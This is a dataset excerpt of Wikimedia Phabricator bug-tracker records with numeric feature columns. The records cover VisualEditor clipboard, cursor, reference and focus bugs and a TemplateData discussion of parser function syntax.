1959573,"TemplateData: Consider support for non-template transclusions (magic words, parser functions)","Briefly: {T204371} proposing allowing a vertical pipe to separate the first argument of a parser function, so that's not necessarily an issue.  {T204307} proposes allowing parser functions to opt-in to the ""standard"" named-argument processing such as used in templates, which I think is a better way of solving that particular problem in the long term than teaching VE/Parsoid a whole new set of serialization options.

In general I'd like to have a ""parser function syntax"" alternative for every extension and magic word, so that we wouldn't ""need"" the `type` parameter, we'd just always look up the various constructs in their ""parser function form"".  The one tricky case is extensions, which do already have a parser function form in `{{#tag}}` but then would need an additional extension hook because `{{#tag}}` is used for *every* extension.  It's a little awkward, because I don't ""really"" want to have to do dynamic dispatch on both the first argument *and* the parser function name, but I guess doing so would help with {{#invoke}} as well, so maybe I just need to support delegation.",,,1659377186,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ibe45dq6vmicfsr4xdu7,task_subcomment,,True,c1,3,True,,,474,,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,6.333333333333333,0.3333333333333333,1.0,0.0,0.0,3.0,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,6.333333333333333,10.0,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.0,1.3333333333333333,0.0,0.3333333333333333,0.0,5.666666666666667,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.0,1.0,5.666666666666667,2.0,2.3333333333333335,8.0,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,0.3333333333333333,0.0,3.3333333333333335,10.0,1.6666666666666667,0.0,3.6666666666666665,0.0,3.3333333333333335,0.0,0.6666666666666666,3.3333333333333335,0.0,2.0,0.3333333333333333,0.0,0.0,3.9047619047619047,0.7445887445887446,"Briefly: {T204371} proposing allowing a vertical pipe to separate the first argument of a parser function, so that's not necessarily an issue.  {T204307} proposes allowing parser functions to opt-in to the ""standard"" named-argument processing such as used in templates, which I think is a better way of solving that particular problem in the long term than teaching VE/Parsoid a whole new set of serialization options.

In general I'd like to have a ""parser function syntax"" alternative for every extension and magic word, so that we wouldn't ""need"" the CODE parameter, we'd just always look up the various constructs in their ""parser function form"".  The one tricky case is extensions, which do already have a parser function form in CODE but then would need an additional extension hook because CODE is used for *every* extension.  It's a little awkward, because I don't ""really"" want to have to do dynamic dispatch on both the first argument *and* the parser function name, but I guess doing so would help with {{#invoke}} as well, so maybe I just need to support delegation."
55385,VisualEditor: Cursor movement stalls after cut-pasting text containing ref tags,"Steps to produce the error

1. Edit a page with VE
2. Cut a block of text containing a reference tag
3. Paste it somewhere else

Now try to move the cursor by arrow keys

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux",High,80.0,1377562620,1421454209.0,PHID-USER-4jecvpv4h62htut6pxez,False,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-cp6otuehw4hsidnwe5aw,task_description,resolved,True,c1,3,False,False,False,8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.2941176470588234,0.6323529411764706,"Steps to produce the error

1. Edit a page with VE
2. Cut a block of text containing a reference tag
3. Paste it somewhere else

Now try to move the cursor by arrow keys

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux"
401464,VisualEditor: Cursor movement stalls after cut-pasting text containing ref tags," Firefox and Chrome on Mac - a cursor, when moved with arrow keys,  successfully skips the ref section.  Checked in test2/production. 

",,,1421687542,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cp6otuehw4hsidnwe5aw,task_subcomment,,True,c1,3,True,,,81,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7096774193548385,0.8709677419354839," Firefox and Chrome on Mac - a cursor, when moved with arrow keys,  successfully skips the ref section.  Checked in test2/production. 

"
400967,VisualEditor: Cursor movement stalls after cut-pasting text containing ref tags," Firefox and Chrome on Mac - a cursor, when moved with arrow keys,  successfully skips the ref section.  Checked in test2. 

Since it's an old bug - marking it's an invalid for now. ",,,1421454194,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cp6otuehw4hsidnwe5aw,task_subcomment,,True,c1,3,True,,,80,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,3.3863636363636362,0.7954545454545454," Firefox and Chrome on Mac - a cursor, when moved with arrow keys,  successfully skips the ref section.  Checked in test2. 

Since it's an old bug - marking it's an invalid for now. "
55375,VisualEditor: Firefox doesn't fire a copy event when only a FocusableNode is selected,"Only workaround I can think of is to create a fake hidden selection whenever a FocusableNode(s) is selected on it's own.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377553200,1378923366.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-uypsqiix32ng3uny23mo,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.7380952380952381,"Only workaround I can think of is to create a fake hidden selection whenever a FocusableNode(s) is selected on it's own.

--------------------------
**Version**: unspecified
**Severity**: normal"
239233,VisualEditor: Firefox doesn't fire a copy event when only a FocusableNode is selected,"Change 83222 merged by jenkins-bot:
The Great [...] Rewrite of 2013: Clipboard edition

https://gerrit.wikimedia.org/r/83222",,,1378923308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uypsqiix32ng3uny23mo,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.9545454545454546,0.9545454545454546,"Change 83222 merged by jenkins-bot:
The Great [...] Rewrite of 2013: Clipboard edition

GERRIT_URL"
239227,VisualEditor: Firefox doesn't fire a copy event when only a FocusableNode is selected,"Change 83222 had a related patch set uploaded by Esanders:
The Great [...] Rewrite of 2013: Clipboard edition

https://gerrit.wikimedia.org/r/83222",,,1378548150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uypsqiix32ng3uny23mo,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,28.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.2,0.96,"Change 83222 had a related patch set uploaded by Esanders:
The Great [...] Rewrite of 2013: Clipboard edition

GERRIT_URL"
55366,VisualEditor: getNearestCorrectOffset doesn't ignore internal lists,"This causes an exception to be thrown if you try to delete a content node at the end of the visible document (e.g. a reference list)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377547260,1397775737.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-epab3bnrysrclgspz74p,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,7.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.891304347826087,0.7391304347826086,"This causes an exception to be thrown if you try to delete a content node at the end of the visible document (e.g. a reference list)

--------------------------
**Version**: unspecified
**Severity**: normal"
238731,VisualEditor: getNearestCorrectOffset doesn't ignore internal lists,"ElementLinearData#getRelativeOffset now checks for handlesOwnChildren, which prevents this from being an issue.",,,1397775737,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-epab3bnrysrclgspz74p,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.142857142857143,1.0,"ElementLinearData#getRelativeOffset now checks for handlesOwnChildren, which prevents this from being an issue."
238723,VisualEditor: getNearestCorrectOffset doesn't ignore internal lists,May have been ameliorated by https://gerrit.wikimedia.org/r/98515,,,1385996866,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-epab3bnrysrclgspz74p,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,May have been ameliorated by GERRIT_URL
55365,VisualEditor: Unnamed references don't register when cloned,"1. Copy and paste an unnamed reference
2. It doesn't appear as a subitem in the ref list
3. Undo. The reference is now index 0.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377547080,1377800786.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-bzqqgbtatyk37hok3eeg,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.3846153846153846,0.6923076923076923,"1. Copy and paste an unnamed reference
2. It doesn't appear as a subitem in the ref list
3. Undo. The reference is now index 0.

--------------------------
**Version**: unspecified
**Severity**: normal"
238675,VisualEditor: Unnamed references don't register when cloned,"Change 81417 merged by jenkins-bot:
Always give references names. Ignore if used once.

https://gerrit.wikimedia.org/r/81417",,,1377800766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bzqqgbtatyk37hok3eeg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9523809523809523,"Change 81417 merged by jenkins-bot:
Always give references names. Ignore if used once.

GERRIT_URL"
238672,VisualEditor: Unnamed references don't register when cloned,"Change 81417 had a related patch set uploaded by Esanders:
Always give references names. Ignore if used once.

https://gerrit.wikimedia.org/r/81417",,,1377643119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bzqqgbtatyk37hok3eeg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.375,0.9583333333333334,"Change 81417 had a related patch set uploaded by Esanders:
Always give references names. Ignore if used once.

GERRIT_URL"
55364,VisualEditor: [Regression] Copying over nodes results in paste adding newlines,"Select text around a content node (e.g. a reference: ""foo [1] bar"" ) and then copy paste it. Note you now have extra newlines.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377545880,1377800812.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-7n32t2g7qmarlr4ehelo,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,3.5,0.74,"Select text around a content node (e.g. a reference: ""foo [1] bar"" ) and then copy paste it. Note you now have extra newlines.

--------------------------
**Version**: unspecified
**Severity**: normal"
238631,VisualEditor: [Regression] Copying over nodes results in paste adding newlines,"Change 81028 merged by jenkins-bot:
When pasting, try to use original range

https://gerrit.wikimedia.org/r/81028",,,1377800814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7n32t2g7qmarlr4ehelo,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.052631578947368,1.0,"Change 81028 merged by jenkins-bot:
When pasting, try to use original range

GERRIT_URL"
238622,VisualEditor: [Regression] Copying over nodes results in paste adding newlines,"Change 81028 had a related patch set uploaded by Esanders:
When pasting, try to use original range

https://gerrit.wikimedia.org/r/81028",,,1377545917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7n32t2g7qmarlr4ehelo,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.318181818181818,1.0,"Change 81028 had a related patch set uploaded by Esanders:
When pasting, try to use original range

GERRIT_URL"
55362,VisualEditor: Document loses focus after cutting a FocusableNode,"1. select a focusable node only (e.g. a reference)
2. Cut it (ctrl+x)
3. Note you now have no cursor/selection

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377545460,1377634940.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-dtn35n72ll6dpl3csge6,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,3.36734693877551,0.673469387755102,"1. select a focusable node only (e.g. a reference)
2. Cut it (ctrl+x)
3. Note you now have no cursor/selection

--------------------------
**Version**: unspecified
**Severity**: normal"
238550,VisualEditor: Document loses focus after cutting a FocusableNode,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377634940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,Fixed in master; will be deployed on Thursday as part of the regular push.
238545,VisualEditor: Document loses focus after cutting a FocusableNode,"Change 81027 merged by jenkins-bot:
Give document real focus after cut

https://gerrit.wikimedia.org/r/81027",,,1377634904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,1.0,"Change 81027 merged by jenkins-bot:
Give document real focus after cut

GERRIT_URL"
238535,VisualEditor: Document loses focus after cutting a FocusableNode,"Change 81027 had a related patch set uploaded by Jforrester:
Give document real focus after cut

https://gerrit.wikimedia.org/r/81027",,,1377545794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Change 81027 had a related patch set uploaded by Jforrester:
Give document real focus after cut

GERRIT_URL"
238529,VisualEditor: Document loses focus after cutting a FocusableNode,https://gerrit.wikimedia.org/r/#/c/81027/ fixes,,,1377545735,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes
55360,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"example 1

new issue as of Aug 26, seen on test2wiki

this is easily triggered by an automated browser test but can also be triggered manually: 

while typing edits, click the Save page button.  
click Review 

Edited page and diff view contents are not the same. See screen shot examples 1 and 2. 

ex 1: ""asfdaEdit"" in edited page vs ""asEdadit"" in diff view where original page has ""Edit""

ex 2: ""aaqaaaStarting"" in edited page vs ""aSqaaatarting"" in diff view where original page has ""Starting""

in at least one case, the actual saved contents of the page differs from the buffer that appears upon clicking Edit to invoke VE, see example 3

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11309}",High,80.0,1377540900,1377657017.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-si6erwgobtecdd3semnx,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,1.0,0.5,5.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.5,4.5,9.5,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,16.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,3.5,1.5,7.0,2.0,1.5,4.0,0.0,0.0,0.0,0.0,3.0,0.0,4.5,0.0,0.0,9.5,5.0,0.0,6.5,0.0,0.0,0.0,1.5,0.5,0.0,2.5,0.0,0.5,0.0,3.6941176470588237,0.6705882352941177,"example 1

new issue as of Aug 26, seen on test2wiki

this is easily triggered by an automated browser test but can also be triggered manually: 

while typing edits, click the Save page button.  
click Review 

Edited page and diff view contents are not the same. See screen shot examples 1 and 2. 

ex 1: ""asfdaEdit"" in edited page vs ""asEdadit"" in diff view where original page has ""Edit""

ex 2: ""aaqaaaStarting"" in edited page vs ""aSqaaatarting"" in diff view where original page has ""Starting""

in at least one case, the actual saved contents of the page differs from the buffer that appears upon clicking Edit to invoke VE, see example 3

--------------------------
